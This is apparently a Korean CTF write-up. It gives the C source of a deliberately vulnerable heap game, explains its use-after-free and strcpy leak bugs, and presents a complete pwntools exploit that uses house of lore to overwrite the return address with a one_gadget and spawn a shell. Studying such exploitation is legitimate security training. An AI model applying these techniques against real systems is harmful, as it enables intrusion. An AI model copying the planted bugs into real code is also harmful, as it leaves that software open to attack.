c코드
//gcc -fno-stack-protector -o heap heap.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void clear()
{
printf("\e[1;1H\e[2J");
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
char *heroart =
" / \\ __----~~~~~~~~~~~------___ \n"
" | | . . ~~//====...... __--~ ~~ \n"
" |.| -. \\_|// |||\\\\ ~~~~~~::::... /~ \n"
" |.| ___-==_ _-~o~ \\/ ||| \\\\ _/~~- \n"
" |:| __ __---~~~.==~||\\=_ -_--~/_-~|- |\\\\ \\\\ _/~ \n"
",_|:|_, / ) _-~~ .=~ | \\\\-_ '-~7 /- / || \\ / \n"
" (Oo / _I_ .~ .~ | \\\\ -_ / /- / || \\ / \n"
" +\\ \\ || __| / ____ / | \\\\ ~-_/ /|- _/ .|| \\ / \n"
" \\ \\||___| |~~ ~~|--~~~~--_ \\ ~==-/ | \\~--===~~ .\\ \n"
" \\ /.:.\\-\\ ' ~-| /| |-~\\~~ __--~~ \n"
" |.:. /-----\\ |-~~-_/ | | ~\\_ _-~ /\\ \n"
" |___|::oOo::| / \\ \\__ \\/~ \\__ \n"
" / |:<_T_>:| _--~ _/ | .-~~____--~-/ ~~==. \n"
" |_____\\ ::: / ((->/~ '.|||' -_| ~~-/ , . _|| \n"
" | | \\ \\:/ -_ ~\\ ~~---l__i__i__i--~~_/ \n"
" | | | | _-~-__ ~) \\--______________--~~ \n"
" \\ / | \\___ //.-~~~-~_--~- |-------~~~~~~~~ \n"
" / | \\_____\\ //.-~~~--\\ \n"
" `-' \n"
" _______ .______ ___ _______ ______ .__ __. __ __ _______ .______ ______ \n"
"| \\ | _ \\ / \\ / _____| / __ \\ | \\ | | | | | | | ____|| _ \\ / __ \\ \n"
"| .--. || |_) | / ^ \\ | | __ | | | | | \\| | | |__| | | |__ | |_) | | | | | \n"
"| | | || / / /_\\ \\ | | |_ | | | | | | . ` | | __ | | __| | / | | | | \n"
"| '--' || |\\ \\-. / _____ \\ | |__| | | `--' | | |\\ | | | | | | |____ | |\\ \\-.| `--' | \n"
"|_______/ | _| `.__|/__/ \\__\\ \\______| \\______/ |__| \\__| |__| |__| |_______|| _| `.__| \\______/ \n"
" \n";
char *appeardragon =
" / / \n"
" /\' .,,,, ./ \n"
" /\';\' ,/ \n"
" / / ,,//,`\'` \n"
" ( ,, \'_, ,,,\' `` \n"
" | /@ ,,, ;\" ` \n"
" / . ,\'\'/\' `,`` \n"
" / . ./, `,, ` ; \n"
" ,./ . ,-,\',` ,,/\'\'\\,\' \n"
" | /; ./,,\'`,,\'\' | | \n"
" | / \',\' / | \n"
" \\___/\' \' | | \n"
" `,,\' | / `\\ \n"
" / | ~\\ \n"
" \' ( \n"
" : \n"
" ; . \\-- \n"
" : \\ ; \n";
char *weaponmarket =
" |\\ /)\n"
" /\\_\\\\__ (_//\n"
"| `>\\-` _._ //`)\n"
" \\ /` \\\\ _.-`:::`-._ //\n"
" ` \\|` ::: `|/\n"
" | ::: |\n"
" |.....:::.....|\n"
" |:::::::::::::|\n"
" | ::: |\n"
" \\ ::: /\n"
" \\ ::: /\n"
" `-. ::: .-'\n"
" //`:::`\\\\\n"
" // ' \\\\\n"
" |/ \\\\\n";
struct HERO {
char name[16];
unsigned int money;
unsigned int HP;
unsigned int sword;
char introduce[100];
};
struct DRAGON{
int HP;
};
struct HERO *hero;
struct DRAGON *dragon;
char *weapons[10];
int weaponprice[10];
int weaponfree[10];
int weaponum = 0;
void diedragon(){
printf("thank you!!\n");
printf("our village is safe!!\n");
}
int killdragon(){
puts(appeardragon);
int num;
int dragonsleep;
printf("\nA dragon appeared!!\n");
for(;;)
{
int fd = open("/dev/urandom", O_RDONLY);
if (fd == -1) {
printf("[!] Send a DM to admin...\n");
return 1;
}
unsigned char dragonsleep;
read(fd, &dragonsleep, sizeof(dragonsleep));
dragonsleep = dragonsleep % 2;
close(fd);
printf("dragon HP : %d\n", dragon->HP);
printf("1) attack\n");
printf("2) defense\n");
printf("3) run away\n");
printf("> ");
scanf("%d", &num);
switch(num)
{
case 1:
clear();
printf("\nattack dragon\n");
if(dragonsleep == 0)
{
sleep(1);
printf("dragon was attacked!!\n");
sleep(1);
printf("dragon was sleeping\n\n");
sleep(1);
printf("get 10 money\n");
sleep(1);
hero->money += 10;
dragon->HP -= hero->sword;
if(dragon->HP == 0)
{
diedragon();
exit(0);
}
break;
}else{
sleep(1);
printf("dragon was attacked!!\n");
sleep(1);
printf("dragon was awaked\n");
sleep(1);
printf("die...\n");
exit(0);
}
case 2:
printf("\ndefend\n");
if(dragonsleep == 0)
{
sleep(1);
printf("dragon is sleeping...\n");
sleep(1);
break;
}else{
sleep(1);
printf("dragon was awaked\n");
sleep(1);
printf("defend success\n");
sleep(1);
break;
}
case 3:
printf("run away...\n\n");
sleep(1);
return 0;
default:
printf("wrong number\n");
sleep(1);
break;
}
clear();
}
}
void upgradeweapon(){
puts(weaponmarket);
int num;
int price;
int buy;
int snum;
int rename;
int resell;
printf("\nwelcome weapon market!!\n");
printf("what do you want to do?\n");
printf("1)buy sword\n");
printf("2)sell sword\n");
printf("3)rename sword\n");
printf("> ");
scanf("%d", &num);
switch(num)
{
case 1:
printf("How strong would you buy a sword?\n");
printf("> ");
scanf("%d", &price);
if(price > 0x300){
printf("TOO LARGE!!\n");
break;
}
if(price < 0x100){
printf("TOO SMALL!!\n");
break;
}
printf("The price is %d\n", price*100);
printf("Are you sure you want to buy it?(yes = 1 no = 0)\n");
printf("> ");
scanf("%d", &buy);
if(buy == 1)
{
if(weaponum == 10)
{
printf("Too many weapons!!\n");
break;
}
if(hero->money >= price*100)
{
printf("buy success\n\n");
hero->money -= price*100;
hero->sword += price;
weapons[weaponum] = (char *)malloc(price);
weaponprice[weaponum] = price;
strcpy(weapons[weaponum], "sword");
weaponum++;
}else{
printf("not enough money\n");
}
break;
}else{
printf("ok :(\n");
break;
}
case 2:
printf("what do you want to sell?\n");
printf("you have ...");
for(int i=0; i<weaponum; i++){
if(weaponfree[i] == 1)
printf("[%d]NULL ", i+1);
else
printf("[%d]%s ", i+1, weapons[i]);
}
printf("\n> ");
scanf("%d", &snum);
if(snum < 1 || snum > weaponum || weaponfree[snum-1] == 1)
{
printf("wrong number\n");
break;
}
hero->sword -= weaponprice[snum-1];
hero->money += weaponprice[snum-1]*100;
free(weapons[snum-1]);
weaponfree[snum-1] = 1;
break;
case 3:
printf("rename sword\n");
printf("you have ...");
for(int i=0; i<weaponum; i++){
if(weaponfree[i] == 1)
printf("[%d]NULL ", i+1);
else
printf("[%d]%s ", i+1, weapons[i]);
}
printf("\nwhat do you want to rename?\n");
printf("> ");
scanf("%d", &rename);
if(rename < 1 || rename > weaponum)
{
printf("wrong number\n");
break;
}
printf("rename: ");
read(0, weapons[rename-1], weaponprice[rename-1]);
break;
default:
printf("wrong number\n");
break;
}
}
void status(){
printf("status\n\n");
printf("name : %s\n", hero->name);
printf("money : %u\n", hero->money);
printf("HP : %u\n", hero->HP);
printf("sword : %u\n", hero->sword);
printf("introduce : %s\n", hero->introduce);
printf("you have ...");
for(int i=0; i<weaponum; i++){
if(weaponfree[i] == 1)
printf("[%d]NULL ", i+1);
else
printf("[%d]%s ", i+1, weapons[i]);
}
printf("\n\n");
}
void rname(){
char buf[16]={0,};
printf("your name is %s\n", hero->name);
printf("rename > ");
read(0, buf, 16);
strcpy(hero->name, buf);
}
int main(){
initialize();
clear();
puts(heroart);
hero = (struct HERO *)malloc(sizeof(struct HERO));
hero-> money = 0;
hero-> HP = 100;
hero-> sword = 0;
dragon = (struct DRAGON *)malloc(sizeof(struct DRAGON));
dragon->HP = 100000;
char playerintro[100] = {0, };
printf("what's your name?\n");
printf("> ");
read(0, hero->name,16);
clear();
printf("\nHello! %s", hero->name);
printf("A dragon recently appeared in our village.\n");
printf("please kill the dragon and save the village\n\n");
for(;;)
{
int num;
printf("1) go kill the dragon\n");
printf("2) weapon market\n");
printf("3) player status\n");
printf("4) player rename\n");
printf("5) player introduce\n");
printf("6) exit\n");
printf("> ");
scanf("%d", &num);
switch(num)
{
case 1:
clear();
killdragon();
break;
case 2:
clear();
upgradeweapon();
break;
case 3:
clear();
status();
break;
case 4:
clear();
rname();
break;
case 5:
clear();
printf("introduce your player\n");
printf("> ");
read(0, playerintro, 100);
strcpy(hero->introduce, playerintro);
break;
case 6:
return 0;
default:
printf("wrong number\n\n");
sleep(1);
clear();
break;
}
}
}
checksec
libc 버전
위 코드의 취약점은 2가지가 있다.
1. upgradeweapon함수에서 free(weapons[snum-1]); 이후에 포인터를 처리하지 않아서 use after free가 발생한다. 이로 인해 libc base와 heap base를 leak 할 수 있다.
2. rname 함수에 strcpy취약점이 있다. strcpy는 공백문자가 나올때 까지 복사를 하는데 buf 에 16을 꽉 채워 입력할 경우 sfp와 buf 사이에 공백이 없어서 sfp의 값까지 복사를 한다. 그럴 경우 sfp의 값이 name의 다음 멤버인 money에 입력된다. 그래서 이를 통해 money를 매우 큰 값으로 할 수 있고 stack base로 leak 할 수 있다.
익스플로잇은 다음과 같다.
1. main에서 rename을 통해 money를 overwrite하고 stack base를 구한다.
2. upgradeweapon에서 use after free로 libc base와 heap base를 구한다. 이때 재할당시 fd부분에 "sword"가 있고 bk부분을 leak해야 하는데 upgradeweapon에서 rename을 이용해 fd부분을 모두 채운면 bk가 leak된다.
3. house of lore로 main함수의 playerintro 를 fake chunk로 만들어서 ret을 one_gadget으로 overwrite한다.
from pwn import *
context.log_level = "debug"
p = process("./heap")
# pause()
one_gadget_off = 0x4527a
p.sendlineafter(b"> ", b'aa')
p.sendlineafter(b"> ", b'4')
rename = b'a'*16
p.sendlineafter(b"> ", rename)
#stack add leak
p.sendlineafter(b"> ", b'3')
p.recvuntil("aaaaaaaaaaaaaaaa")
stack_addr = u64(p.recv(6)+b"\x00\x00")
buf_addr = stack_addr-0x70
buf_addr2 = buf_addr+0x20
#libc & heap add leak
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'288')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'256')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'272')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'256')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'256')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'256')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'5')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'272')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'256')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", b'7')
resword = b'aaaaaaa'
p.sendlineafter(b"rename: ", resword)
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", b'8')
p.sendlineafter(b"rename: ", resword)
p.sendlineafter(b"> ", b'3')
p.recvuntil(b"\x5b\x37\x5d\x61\x61\x61\x61\x61\x61\x61\x0a")
heap_addr = u64(p.recv(4)+b"\x00\x00\x00\x00")
#0x19e5340
heap_off = 0x520
heap_base = heap_addr-heap_off
heap_over = heap_base+0xb0
p.recvuntil(b"\x5b\x38\x5d\x61\x61\x61\x61\x61\x61\x61\x0a")
libc_addr = u64(p.recv(6)+b"\x00\x00")
#0x7fc719053b78
libc_off = 0x3c4b78
libc = libc_addr - libc_off
#chunk1 변조
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", b'1')
chunk1 = p64(0)
chunk1 += p64(buf_addr)
p.sendlineafter(b"rename: ", chunk1)
#fake stack 구성
p.sendlineafter(b"> ", b'5')
fake = p64(0)
fake += p64(0x131)
fake += p64(heap_over)
fake += p64(buf_addr2)
fake += p64(0)
fake += p64(0x111)
fake += p64(buf_addr)
p.sendlineafter(b"> ", fake)
#stack을 chunk로 할당
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'288')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'288')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", b'10')
one_gadget = libc+one_gadget_off
one_ex = b'\x00'*0x60
one_ex += b'b'*0x8
one_ex += p64(one_gadget)
one_ex += b'\x00'*0x38
p.sendlineafter(b"rename: ", one_ex)
p.sendlineafter(b"> ", b'6')
p.interactive()
'후기' 카테고리의 다른 글
BOB 13기 취약점 분석 트랙 합격 후기 (0) | 2024.07.13 |
---|---|
.hack conference 후기 (0) | 2024.05.31 |
2023 충청권 사이버보안 경진대회 후기 (1) | 2023.11.14 |
2023년 제 21회 YISF - [YISF_Library] 문제 풀이 (1) | 2023.09.07 |
2023년 제 21회 순천향대학교 YISF 운영진 후기 및 문제 풀이 (0) | 2023.09.06 |